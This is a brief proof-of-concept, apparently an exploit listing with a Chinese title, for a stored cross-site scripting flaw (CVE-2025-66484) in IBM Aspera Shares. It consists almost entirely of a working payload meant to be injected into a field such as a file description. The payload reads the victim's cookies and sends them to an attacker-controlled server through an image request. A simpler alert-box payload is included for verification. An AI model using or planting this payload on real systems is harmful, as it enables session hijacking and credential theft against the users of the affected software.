CVE-2025-66484 IBM Aspera Shares 存储型XSS漏洞

<!-- Proof of Concept: Stored XSS in IBM Aspera Shares --> <!-- Attacker injects this payload into a vulnerable input field (e.g., File Description) --> <script> // Log execution to console console.log('CVE-2025-66484 XSS Executed'); // Demonstrate credential theft by sending cookies to an external server var stolenCookies = document.cookie; var attackerUrl = 'http://attacker-controlled-server.com/collect?data=' + encodeURIComponent(stolenCookies); // Use fetch or Image to send data exfiltration request var img = new Image(); img.src = attackerUrl; </script> <!-- Alternative Payload: Simple Alert for Verification --> <img src=x onerror=alert('XSS_PoC_CVE-2025-66484')>